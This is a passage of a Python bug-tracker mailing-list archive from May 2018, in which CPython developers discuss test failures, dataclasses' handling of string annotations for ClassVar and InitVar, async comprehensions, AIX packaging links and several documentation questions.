<1526015806.05.0.682650639539.issue15443@psf.upfronthosting.co.za> Change by Giampaolo Rodola' : ---------- nosy: +giampaolo.rodola _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 01:40:53 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 11 May 2018 05:40:53 +0000 Subject: [issue33455] test.test_posix.TestPosixSpawn::test_specify_environment fails with custom LD_LIBRARY_PATH In-Reply-To: <1525960236.32.0.682650639539.issue33455@psf.upfronthosting.co.za> Message-ID: <1526017253.34.0.682650639539.issue33455@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 7ec8f28656ea9d84048e9b5655375c6a74a59f53 by Serhiy Storchaka (Miro Hron?ok) in branch 'master': bpo-33455: Pass os.environ in test_posix::test_specify_environment. (GH-6753) https://github.com/python/cpython/commit/7ec8f28656ea9d84048e9b5655375c6a74a59f53 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 01:40:54 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 11 May 2018 05:40:54 +0000 Subject: [issue33455] test.test_posix.TestPosixSpawn::test_specify_environment fails with custom LD_LIBRARY_PATH In-Reply-To: <1525960236.32.0.682650639539.issue33455@psf.upfronthosting.co.za> Message-ID: <1526017254.53.0.682650639539.issue33455@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6451 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 02:01:46 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 11 May 2018 06:01:46 +0000 Subject: [issue33455] test.test_posix.TestPosixSpawn::test_specify_environment fails with custom LD_LIBRARY_PATH In-Reply-To: <1525960236.32.0.682650639539.issue33455@psf.upfronthosting.co.za> Message-ID: <1526018506.46.0.682650639539.issue33455@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 6e9456e4f6123b13750a10e6ae2eba83504d2f1a by Miss Islington (bot) in branch '3.7': bpo-33455: Pass os.environ in test_posix::test_specify_environment. (GH-6753) https://github.com/python/cpython/commit/6e9456e4f6123b13750a10e6ae2eba83504d2f1a ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 02:07:22 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 11 May 2018 06:07:22 +0000 Subject: [issue33455] test.test_posix.TestPosixSpawn::test_specify_environment fails with custom LD_LIBRARY_PATH In-Reply-To: <1525960236.32.0.682650639539.issue33455@psf.upfronthosting.co.za> Message-ID: <1526018842.11.0.682650639539.issue33455@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 03:19:34 2018 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 11 May 2018 07:19:34 +0000 Subject: [issue15443] datetime module has no support for nanoseconds In-Reply-To: <1343158610.62.0.806232279741.issue15443@psf.upfronthosting.co.za> Message-ID: <1526023174.9.0.682650639539.issue15443@psf.upfronthosting.co.za> Change by Mark Dickinson : ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 03:32:20 2018 From: report at bugs.python.org (Yuki Wakisaka) Date: Fri, 11 May 2018 07:32:20 +0000 Subject: [issue33443] Typo in Python/import.c In-Reply-To: <1525705953.03.0.682650639539.issue33443@psf.upfronthosting.co.za> Message-ID: <1526023940.72.0.682650639539.issue33443@psf.upfronthosting.co.za> Change by Yuki Wakisaka : ---------- versions: -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 05:46:17 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 11 May 2018 09:46:17 +0000 Subject: [issue33346] Syntax error with async generator inside dictionary comprehension In-Reply-To: <1524567941.57.0.682650639539.issue33346@psf.upfronthosting.co.za> Message-ID: <1526031977.35.0.682650639539.issue33346@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6452 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 05:52:19 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 11 May 2018 09:52:19 +0000 Subject: [issue33346] Syntax error with async generator inside dictionary comprehension In-Reply-To: <1524567941.57.0.682650639539.issue33346@psf.upfronthosting.co.za> Message-ID: <1526032339.65.0.682650639539.issue33346@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I think this can be fixed simpler. Currently a comprehension become asynchronous in two cases: 1. Explicitly, when it contains 'async for'. This is visible at AST level. 2. Implicitly, when any of inner expressions contains 'await'. But asynchronous comprehensions should behave the same way as 'await'. I think that a comprehension should be made implicitly asynchronous if any of inner expressions contains explicit or implicit asynchronous comprehension. This is implemented in PR 6766. ---------- nosy: +gvanrossum, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 07:04:53 2018 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 11 May 2018 11:04:53 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526036693.4.0.682650639539.issue33453@psf.upfronthosting.co.za> Eric V. Smith added the comment: The more I think about this, the more I think ?ukasz is correct that just checking for strings starting with "ClassVar", "typing.ClassVar", or "t.ClassVar" is the correct thing to do. This is the change he made in https://github.com/python-attrs/attrs/pull/367. In some private email I had discussed extracting the module name, if any, from the string annotation, and looking it up in sys.modules. This doesn't buy you much because you have to know how the caller imported typing. If they used "import typing as t", then you can't look up "t" in sys.modules. You could do some horrible frame trick to find out what the caller knew as "t", but that still won't work in plenty of cases. I don't want to use a complex solution that still doesn't work in all cases, and would indeed work in fewer places than just examining the string. The only name we could reliably detect is "typing.ClassVar", all others wouldn't be in sys.modules correctly. So, that leaves us with just looking at the string and guessing what the caller meant. I think the three strings that ?ukasz suggested are good enough. This will need to be well documented. The documentation should note that things like this will break: from __future__ import annotations from typing import ClassVar as CV @dataclass class C: x: CV x will not be a class variable here, since @dataclass will see the annotation as "CV" and not know that it means typing.ClassVar. InitVar has a similar problem. What strings to use there? "InitVar" and "dataclasses.InitVar", of course. But maybe "dc.InitVar"? It's hard to say with no in-the-field usage examples to search for. I'll start with just the first two strings. I really don't want to use regexes here. But a refinement would be to not just use .startswith, and instead use a word boundary. After all, "ClassVarOfMine" should probably not be considered a ClassVar. I'll leave that issue for another day, though. I'll have a patch ready before the sprints are over. ---------- assignee: -> eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 07:35:32 2018 From: report at bugs.python.org (INADA Naoki) Date: Fri, 11 May 2018 11:35:32 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526038532.94.0.682650639539.issue33453@psf.upfronthosting.co.za> INADA Naoki added the comment: "t.ClassVar" looks ugly... How about dropping ClassVar support of dataclass module for 3.7? ---------- nosy: +inada.naoki _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 07:42:18 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 11 May 2018 11:42:18 +0000 Subject: [issue33461] json.loads(encoding=) does not emit deprecation warning. In-Reply-To: <1526005873.13.0.682650639539.issue33461@psf.upfronthosting.co.za> Message-ID: <1526038938.47.0.682650639539.issue33461@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I'm wondering if it can be removed at all. Maybe it was left in issue4136 due to oversight. ---------- nosy: +bob.ippolito, ezio.melotti, pitrou, rhettinger, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 07:44:15 2018 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 11 May 2018 11:44:15 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526039055.15.0.682650639539.issue33453@psf.upfronthosting.co.za> Eric V. Smith added the comment: We can't break the API at this point in the release cycle. But I am open to what string prefixes we should allow. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 07:50:27 2018 From: report at bugs.python.org (Michael Felt) Date: Fri, 11 May 2018 11:50:27 +0000 Subject: [issue33464] AIX and "specialized downloads" links Message-ID: <1526039427.77.0.682650639539.issue33464@psf.upfronthosting.co.za> New submission from Michael Felt : I struggled with how python was packaged by others. Key points being: many dependencies, no assurance you could uninstall the dependencies and/or python. A little over two years ago I started looking for 'root causes' of problems that potential users of python (on AIX) were having. To me it is clear that the packaging problems from two years back are just as alive as they were in 2015 and 2016. Since then I have learned a few things about python (thanks to all who helped). I would like to apply this knowledge and provide a 'cleaner' packaging of Python for AIX - both Python3 and Python2. I would appreciate my downloadable packages being listed on the "other" downloads list. If you wanted to make it complete - the other two I know of are Perzl's site (http://www.perzl.org/aix/index.php?n=main.python), and, of course, the IBM AIX Toolbox (https://www-03.ibm.com/systems/power/software/aix/linux/toolbox/alpha.html#P). I have involved (currently managed and run it) an AIX portal since 2001 - http://www.rootvg.net. The last 5 or 6 years I have been hosting a second portal I call "aixtools". In short, I hope you will consider adding - at least - my aixtools wiki pages: http://www.aixtools.net/index.php/python3 and http://www.aixtools.net/index.php/python (for python2). Many thanks for your consideration, Michael ---------- messages: 316395 nosy: Michael.Felt, gvanrossum priority: normal severity: normal status: open title: AIX and "specialized downloads" links versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 07:55:49 2018 From: report at bugs.python.org (INADA Naoki) Date: Fri, 11 May 2018 11:55:49 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526039749.68.0.682650639539.issue33453@psf.upfronthosting.co.za> INADA Naoki added the comment: > We can't break the API at this point in the release cycle. We hadn't release RC, and we hadn't documented dataclass module yet. How about making "dataclass" module as porvisional state? I think we've learned lesson that we shouldn't use typing in modules other than typing... > But I am open to what string prefixes we should allow. If it is really needed, I think we should only allow "typing.ClassVar". All other prefixes seems ambiguous. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 10:24:27 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 11 May 2018 14:24:27 +0000 Subject: [issue33463] Can namedtuple._asdict return a regular dict instead of OrderedDict? In-Reply-To: <1526009463.33.0.682650639539.issue33463@psf.upfronthosting.co.za> Message-ID: <1526048667.52.0.682650639539.issue33463@psf.upfronthosting.co.za> Raymond Hettinger added the comment: This would have to go through a deprecation cycle, but it would be a nice improvement (faster, cleaner, and consistent with data classes). ---------- assignee: rhettinger -> components: +Library (Lib) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 11:13:54 2018 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 11 May 2018 15:13:54 +0000 Subject: [issue33346] Syntax error with async generator inside dictionary comprehension In-Reply-To: <1524567941.57.0.682650639539.issue33346@psf.upfronthosting.co.za> Message-ID: <1526051634.92.0.682650639539.issue33346@psf.upfronthosting.co.za> Guido van Rossum added the comment: @Ivan: Please stop bringing up that we should drop the implicit scope for comprehensions. I know you feel this way, but it's not going to happen. @Serhiy: What does the PEP for async/await say? (Or is there a separate PEP for allowing async/await inside comprehensions?) @Yury: Your thoughts? I do think the code from the OP's example should be expected to work. Does it / should it work the same way for generator expressions? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 11:18:08 2018 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 11 May 2018 15:18:08 +0000 Subject: [issue33464] AIX and "specialized downloads" links In-Reply-To: <1526039427.77.0.682650639539.issue33464@psf.upfronthosting.co.za> Message-ID: <1526051888.24.0.682650639539.issue33464@psf.upfronthosting.co.za> Guido van Rossum added the comment: Given that we don't feel it is worth the effort to support AIX in the CPython source explicitly, I think it's right that we at least link to Michael's efforts in the "other downloads" page. I don't actually know if this should go to the python.org website tracker (https://github.com/python/pythondotorg/issues) or here (here's appropriate if it's in the CPython source repo -- in that case Michael can submit a PR linked to this issue.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 11:30:57 2018 From: report at bugs.python.org (STINNER Victor) Date: Fri, 11 May 2018 15:30:57 +0000 Subject: [issue30850] [2.7] bsddb3: test01_basic_replication() of test_bsddb3 fails randomly on AMD64 Windows8.1 Refleaks 2.7 In-Reply-To: <1499181607.72.0.534776800166.issue30850@psf.upfronthosting.co.za> Message-ID: <1526052657.29.0.682650639539.issue30850@psf.upfronthosting.co.za> STINNER Victor added the comment: Oh no, I saw it again! http://buildbot.python.org/all/#/builders/51/builds/119/steps/3/logs/stdio running: test_bsddb3 (1569 sec) running: test_bsddb3 (1599 sec) 1:02:05 [403/403/1] test_bsddb3 crashed (...) 1 test failed: test_bsddb3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 11:50:32 2018 From: report at bugs.python.org (Matthias Klose) Date: Fri, 11 May 2018 15:50:32 +0000 Subject: [issue25109] test_code_module tests fail when run from the installed location In-Reply-To: <1442230011.36.0.482937736349.issue25109@psf.upfronthosting.co.za> Message-ID: <1526053832.62.0.682650639539.issue25109@psf.upfronthosting.co.za> Matthias Klose added the comment: this seems to be fixed in 3.6 (3.6.5) and 3.7 (beta4). ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 11:57:53 2018 From: report at bugs.python.org (Michael Felt) Date: Fri, 11 May 2018 15:57:53 +0000 Subject: [issue33464] AIX and "specialized downloads" links In-Reply-To: <1526039427.77.0.682650639539.issue33464@psf.upfronthosting.co.za> Message-ID: <1526054273.73.0.682650639539.issue33464@psf.upfronthosting.co.za> Michael Felt added the comment: FYI: as my primary effort for AIX concerned ctypes.find_library() - and that is now in the Python3-3.7 branch - when I do a PR it will only be for "current" efforts, i.e., Python3-3.7 and later. As much as I feel it is important I'll backport myself into branches I'll label "aix.vX.Y.Z", where the starting point is always anew from vX.Y.Z More detailed: (e.g., on 3.4.8, which I am working on now) git clone -b v3.4.8 git at github.com:aixtools/cpython.git python-3.4.8 git branch aix.v3.4.8 cat ../aix.patch | patch ... make and test git commit -m"my message" git push to_my_fork As much as possible, I want to be in sync with python - and give you the option of including anything AIX. As counts for most, if not all, this is "free-time", not paid - but I will always try to respond to questions re: AIX. Guido - thank you for the support! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 12:07:04 2018 From: report at bugs.python.org (Matthias Klose) Date: Fri, 11 May 2018 16:07:04 +0000 Subject: [issue33465] test_from_import_missing_attr_has_name_and_so_path fails when select is a builtin instead of an extension Message-ID: <1526054824.37.0.682650639539.issue33465@psf.upfronthosting.co.za> New submission from Matthias Klose : ====================================================================== ERROR: test_from_import_missing_attr_has_name_and_so_path (test.test_import.ImportTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/usr/lib/python3.7/test/test_import/__init__.py", line 98, in test_from_import_missing_attr_has_name_and_so_path self.assertEqual(cm.exception.path, select.__file__) AttributeError: module 'select' has no attribute '__file__' ---------------------------------------------------------------------- Ran 75 tests in 0.618s FAILED (errors=1, skipped=1) test test_import failed ---------- components: Tests messages: 316403 nosy: brett.cannon, doko, eric.snow, ncoghlan priority: normal severity: normal status: open title: test_from_import_missing_attr_has_name_and_so_path fails when select is a builtin instead of an extension type: behavior versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 12:09:09 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Fri, 11 May 2018 16:09:09 +0000 Subject: [issue33465] test_from_import_missing_attr_has_name_and_so_path fails when select is a builtin instead of an extension In-Reply-To: <1526054824.37.0.682650639539.issue33465@psf.upfronthosting.co.za> Message-ID: <1526054949.95.0.682650639539.issue33465@psf.upfronthosting.co.za> Change by Barry A. Warsaw : ---------- nosy: +barry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 12:31:09 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 11 May 2018 16:31:09 +0000 Subject: [issue33346] Syntax error with async generator inside dictionary comprehension In-Reply-To: <1524567941.57.0.682650639539.issue33346@psf.upfronthosting.co.za> Message-ID: <1526056269.22.0.682650639539.issue33346@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: There are several related PEPs: PEP 492 -- Coroutines with async and await syntax PEP 525 -- Asynchronous Generators PEP 530 -- Asynchronous Comprehensions I haven't found anything explicit about this case. PEP 492 says that just "await" is not enough for converting a function into a coroutine. Explicit "async def" is required. PEP 530 says nothing about implementation details, it omits the fact that comprehensions are implemented by creating and calling an implicit function. From the implementation's point of view PEP 530 means that "async for" and "await" inside an implicit function make it an asynchronous function, and implicit "await" is added in the place of it's call. The natural extension of this is than an implicit "await" should have the same effect as explicit "await", in particular it should make an outer implicit function an asynchronous function and add other implicit "await" in the place of it's call, and so forth. But all this is implied, and is not said explicitly. I don't understand one paragraph in PEP 530: """ In principle, asynchronous generator expressions are allowed in any context. However, in Python 3.6, due to ``async`` and ``await`` soft-keyword status, asynchronous generator expressions are only allowed in an ``async def`` function. Once ``async`` and ``await`` become reserved keywords in Python 3.7, this restriction will be removed. """ Does it mean that even more restrictions should be removed than PR 6766 does? And what is the relation between this restriction and making "async" and "await" reserved keywords? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 12:59:44 2018 From: report at bugs.python.org (=?utf-8?q?Alexander_B=C3=B6hn?=) Date: Fri, 11 May 2018 16:59:44 +0000 Subject: =?utf-8?q?=5Bissue33466=5D_Distutils_does_not_support_the_compilation_of_?= =?utf-8?b?T2JqZWN0aXZlLUMrKyAo4oCcLm1t4oCdKSBmaWxlcw==?= Message-ID: <1526057984.85.0.682650639539.issue33466@psf.upfronthosting.co.za> New submission from Alexander B?hn : Attempting to compile an Objective-C++ source file suffixed ?.mm? results in an error complaining about the file extension being unrecognized. ---------- components: Distutils messages: 316405 nosy: dstufft, eric.araujo, fish2000 priority: normal severity: normal status: open title: Distutils does not support the compilation of Objective-C++ (?.mm?) files type: enhancement versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 13:01:37 2018 From: report at bugs.python.org (=?utf-8?q?Alexander_B=C3=B6hn?=) Date: Fri, 11 May 2018 17:01:37 +0000 Subject: =?utf-8?q?=5Bissue33466=5D_Distutils_does_not_support_the_compilation_of_?= =?utf-8?b?T2JqZWN0aXZlLUMrKyAo4oCcLm1t4oCdKSBmaWxlcw==?= In-Reply-To: <1526057984.85.0.682650639539.issue33466@psf.upfronthosting.co.za> Message-ID: <1526058097.45.0.682650639539.issue33466@psf.upfronthosting.co.za> Change by Alexander B?hn : ---------- keywords: +patch pull_requests: +6453 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 13:56:15 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Fri, 11 May 2018 17:56:15 +0000 Subject: [issue33459] Define "tuple display" in the docs In-Reply-To: <1525994212.08.0.682650639539.issue33459@psf.upfronthosting.co.za> Message-ID: <1526061375.05.0.682650639539.issue33459@psf.upfronthosting.co.za> Andr?s Delfino added the comment: The thing is that "tuple displays" like: nums = (n for n in range(10)) Yield a generator expression instead of a tuple. Also, unparenthesized "tuple displays" like 1, 2, 3 can't be used in expressions, AFAIK: >>> if 3 == 1, 2, 3: SyntaxError: invalid syntax So, you end up using parenthesized expressions (that may or may not shield tuples) to use tuples in expressions. So talking about "tuple expressions" in the operator precedence table doesn't make much sense to me :/ Also, if a "tuple display" doesn't yield a tuple, should it be named a "tuple display" after all? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 13:57:29 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Fri, 11 May 2018 17:57:29 +0000 Subject: [issue33459] Define "tuple display" in the docs In-Reply-To: <1525994212.08.0.682650639539.issue33459@psf.upfronthosting.co.za> Message-ID: <1526061449.49.0.682650639539.issue33459@psf.upfronthosting.co.za> Andr?s Delfino added the comment: Ignore the previous comment. The thing is that "tuple displays" like: nums = (n for n in range(10)) Yield a generator expression instead of a tuple. Also, unparenthesized "tuple displays" like 1, 2, 3 can't be used in expressions, AFAIK: >>> if 3 == 1, 2, 3: SyntaxError: invalid syntax So, you end up using parenthesized expressions to use tuples in expressions. So talking about "tuple displays" in the operator precedence table doesn't make much sense to me :/ Also, if a "tuple display" doesn't yield a tuple, should it be named a "tuple display" after all? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 14:22:21 2018 From: report at bugs.python.org (Rahul Ravindran) Date: Fri, 11 May 2018 18:22:21 +0000 Subject: [issue33467] Python 3.7: profile-opt build errors because a test seems to hang Message-ID: <1526062939.54.0.682650639539.issue33467@psf.upfronthosting.co.za> New submission from Rahul Ravindran : make run_profile_task runs the tests and does not seem to have any mechanism to exclude tests that I could find based on looking at the Makefile. Previously, on Python 3.6, this test test_poplib was failing(https://bugs.python.org/issue32753) and the profile_task would ignore failing tests. Now, with the Python 3.7 build, the test seems to hang and hence profile opt builds cannot be built. Attached is the trace of the build based on Python-3.7.0b4 ---------- components: Build files: stack_trace1.txt messages: 316408 nosy: Rahul Ravindran priority: normal severity: normal status: open title: Python 3.7: profile-opt build errors because a test seems to hang versions: Python 3.7 Added file: https://bugs.python.org/file47582/stack_trace1.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 14:25:27 2018 From: report at bugs.python.org (R. David Murray) Date: Fri, 11 May 2018 18:25:27 +0000 Subject: [issue33459] Define "tuple display" in the docs In-Reply-To: <1525994212.08.0.682650639539.issue33459@psf.upfronthosting.co.za> Message-ID: <1526063127.3.0.682650639539.issue33459@psf.upfronthosting.co.za> R. David Murray added the comment: That's a generator expression, just like [x for x in ramge(3)] is a list comprehension, not a list display. And yes, in a number of circumstances parenthesis are required to delimit the tuple display and disambiguate the syntax. That is, it is the 1, 2, 3 that is the tuple display, but sometimes you have to enclose it in parenthesis in order for the parser to recognize it. Which is why it would be good to give a more thorough explanation of what a tuple display is than the unlabeled one Cheryl pointed out. I'm not entirely sure what the exact rules are for when you get a syntax error without the parens, myself :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 14:32:51 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Fri, 11 May 2018 18:32:51 +0000 Subject: [issue33459] Define "tuple display" in the docs In-Reply-To: <1525994212.08.0.682650639539.issue33459@psf.upfronthosting.co.za> Message-ID: <1526063571.02.0.682650639539.issue33459@psf.upfronthosting.co.za> Andr?s Delfino added the comment: The documentation says a display may or may not have a comprehension :/ [1, 2, 3] is a list display too. [x for x in range(3)] is a display that has a comprehension. Acoording to the doc. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 14:47:34 2018 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Fri, 11 May 2018 18:47:34 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526064454.74.0.682650639539.issue33453@psf.upfronthosting.co.za> ?ukasz Langa added the comment: > I think we've learned lesson that we shouldn't use typing in modules other than typing... This is a blanket statement that as hurtful as it is factually incorrect. Let me address the latter. 1. Dataclasses are entirely dependent on annotations *as described by the typing module*. While it would be entirely possible for users to pass an arbitrary expression as an annotation to denote it's a field of the dataclass, then it's confusing the reader of that code... what's the point? The fact that dataclasses isn't itself importing `typing` is an implementation detail of dataclasses. 2. The problem isn't even specific to `typing` but stringified type annotations in general. If the magic sentinel annotation came from the dataclasses module, it would be just as tricky to get it right as it is now when this sentinel lives in `typing`. 3. singledispatch now also allows registering functions that are type-annotated. In fact, that is a nicer API than the old one. That usage also imports `typing`. I don't see how this is a problem. > If it is really needed, I think we should only allow "typing.ClassVar". All other prefixes seems ambiguous. I came up with "typing", "t", and straight "ClassVar" by grepping through typed codebases I work with. I agree that "t" is rather arbitrary so I'm totally fine with leaving that one out. ---------- assignee: eric.smith -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 15:02:42 2018 From: report at bugs.python.org (Rick Teachey) Date: Fri, 11 May 2018 19:02:42 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526065362.96.0.682650639539.issue33453@psf.upfronthosting.co.za> Rick Teachey added the comment: Lending my voice to the suggestion of limiting the class attribute check to `typing.ClassVar` and `ClassVar`. It can always be expanded later if it is needed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 15:07:56 2018 From: report at bugs.python.org (R. David Murray) Date: Fri, 11 May 2018 19:07:56 +0000 Subject: [issue33459] Define "tuple display" in the docs In-Reply-To: <1525994212.08.0.682650639539.issue33459@psf.upfronthosting.co.za> Message-ID: <1526065676.86.0.682650639539.issue33459@psf.upfronthosting.co.za> R. David Murray added the comment: Hmm. OK, I didn't think that's how we'd defined those terms, but then I don't actually work with the parser much myself :) However, generator expressions are clearly called out as a separate thing. All of the other display types get their own section, so I would think tuple display should too if it really is a syntax unit...but maybe it isn't. Also, I'm not clear on what 'binding' means in that table entry. I see now why you wanted to say "parenthesized expression", but as far as I can see the previous text is referring to it as an expression list in parenthesis form. That's a bit wordy, which may be why someone used tuple display there. Clearly there is some ambiguity here that it would be nice to resolve, considering this is part of the language spec, but frankly I'm not sure what to suggest. At that level I'm not sure how the "operator precedence" is actually "resolved"...I think it is more a matter of it being implicit in the parsing, but I'm not sure. Like I said, not my area of expertise. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 16:56:26 2018 From: report at bugs.python.org (Michael Felt) Date: Fri, 11 May 2018 20:56:26 +0000 Subject: [issue33464] AIX and "specialized downloads" links In-Reply-To: <1526039427.77.0.682650639539.issue33464@psf.upfronthosting.co.za> Message-ID: <1526072186.45.0.682650639539.issue33464@psf.upfronthosting.co.za> Michael Felt added the comment: P.s. i apologize for probably posting in the incorrect ?issues? area. Having followed guido?s link i see an area that is new for me. If it is better that i ?restart? the discussion there, just ask. ---------- nosy: +aixtools at gmail.com _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 17:44:14 2018 From: report at bugs.python.org (Steve Dower) Date: Fri, 11 May 2018 21:44:14 +0000 Subject: [issue33015] Fix function cast warning in thread_pthread.h In-Reply-To: <1520362573.83.0.467229070634.issue33015@psf.upfronthosting.co.za> Message-ID: <1526075054.15.0.682650639539.issue33015@psf.upfronthosting.co.za> Steve Dower added the comment: In this case, we know the behaviour is okay and the warning is wrong. We should suppress the warning around the offending line, rather than adding significant code that may introduce genuine bugs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 18:31:27 2018 From: report at bugs.python.org (Nick Coghlan) Date: Fri, 11 May 2018 22:31:27 +0000 Subject: [issue33468] Add try-finally contextlib.contextmanager example Message-ID: <1526077887.55.0.682650639539.issue33468@psf.upfronthosting.co.za> New submission from Nick Coghlan : The current example for contextlib.contextmanager doesn't use try/finally, which sets folks up for writing resource management context managers that don't clean up after exceptions properly. There's an example with try/finally down in the contextlib.closing docs, but I'm thinking it would be worthwhile to change the presentation of contextmanager itself. ---------- assignee: ncoghlan components: Documentation messages: 316416 nosy: ncoghlan priority: normal severity: normal stage: needs patch status: open title: Add try-finally contextlib.contextmanager example type: enhancement versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 20:16:24 2018 From: report at bugs.python.org (INADA Naoki) Date: Sat, 12 May 2018 00:16:24 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1526064454.74.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: INADA Naoki added the comment: > > I think we've learned lesson that we shouldn't use typing in modules other than typing... > This is a blanket statement that as hurtful as it is factually incorrect. Let me address the latter. > 1. Dataclasses are entirely dependent on annotations *as described by the typing module*. While it would be entirely possible for users to pass an arbitrary expression as an annotation to denote it's a field of the dataclass, then it's confusing the reader of that code... what's the point? The fact that dataclasses isn't itself importing `typing` is an implementation detail of dataclasses. When I said "use typing module", I meant "using type information from annotation value" preciously. Using only name of the annotation is not harmful. > 2. The problem isn't even specific to `typing` but stringified type annotations in general. If the magic sentinel annotation came from the dataclasses module, it would be just as tricky to get it right as it is now when this sentinel lives in `typing`. Yes. I think we shouldn't parse annotation value until we can expect issues like this and estimate performance overhead of massive calling of get_type_hints() on application startup. > 3. singledispatch now also allows registering functions that are type-annotated. In fact, that is a nicer API than the old one. That usage also imports `typing`. I don't see how this is a problem. How about performance? Isn't performance overhead of it is much larger than expected by people who don't know internal of get_type_hints()? I agree that annotation could very useful. But I fear that utilizing annotation value may make ugly hack like "ClassVar" prefix or unexpected slow import time. So I want to be very conservative about utilizing annotation in stdlib. Once it is happen, it's very hard to remove it from stdlib. I think we should learn more about runtime usage of type hints in third party library, before using it in stdlib. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 22:19:20 2018 From: report at bugs.python.org (Eric V. Smith) Date: 